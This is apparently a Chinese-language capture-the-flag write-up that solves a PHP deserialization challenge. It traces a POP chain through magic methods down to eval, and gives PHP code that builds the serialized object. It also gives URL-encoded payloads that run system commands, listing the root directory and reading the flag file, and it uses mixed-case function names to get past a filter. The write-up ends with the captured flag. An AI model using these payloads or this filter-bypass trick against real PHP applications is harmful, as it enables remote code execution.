解题思路

有unserialize函数，想到php反序列化，首先找到eval函数，发现参数可控且为我们需要执行的命令，要调用eval函数则需调用A类的invoke方法，再回溯到C类toString方法，再回溯到D类的set方法,再回溯到C类的call方法，最后到B类的destruct方法

pop链：B::*destruct*->*C*::call->D::*set*->*C*::toString->A::_invoke

poc代码:

```
<?php
   class A{
   public $test="give_me_flag";
   public $command;
   }
   class B{
   public $external;
   public $arg;
   }
   class C{
   public $t;
   public $o;
   }
   class D{
   public $str;
   public $sentence;
   }
   $ct = new A();
   $ct->command = "sYstem('cat /flag');";#php对函数大小写不敏感，绕过过滤
   $b = new B();
   $att = new C();
   $b->external = $att;
   $c = new D();
   $att->t = $c;
   $c->str = $att;
   $c->sentence="I need flag";
   $att->o = $ct;
   echo urlencode(serialize($b));
?>
```

payload

```
?
ctfer=O%3A1%3A%22B%22%3A2%3A%7Bs%3A8%3A%22external%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22t%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A3%3A%22str%22%3Br%3A2%3Bs%3A8%3A%22sentence%22%3Bs%3A11%3A%22I+need+flag%22%3B%7Ds%3A1%3A%22o%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22test%22%3Bs%3A12%3A%22give_me_flag%22%3Bs%3A7%3A%22command%22%3Bs%3A15%3A%22sYstem%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A3%3A%22arg%22%3BN%3B%7D
```

lalalabin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

找到根目录下flag文件，修改命令

?
ctfer=O%3A1%3A%22B%22%3A2%3A%7Bs%3A8%3A%22external%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22t%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A3%3A%22str%22%3Br%3A2%3Bs%3A8%3A%22sentence%22%3Bs%3A11%3A%22I+need+flag%22%3B%7Ds%3A1%3A%22o%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22test%22%3Bs%3A12%3A%22give_me_flag%22%3Bs%3A7%3A%22command%22%3Bs%3A20%3A%22sYstem%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7Ds%3A3%3A%22arg%22%3BN%3B%7D

---

lalalaflag{s0_E4sy_p0p_cha1n}

得到flag

flag{s0_E4sy_p0p_cha1n}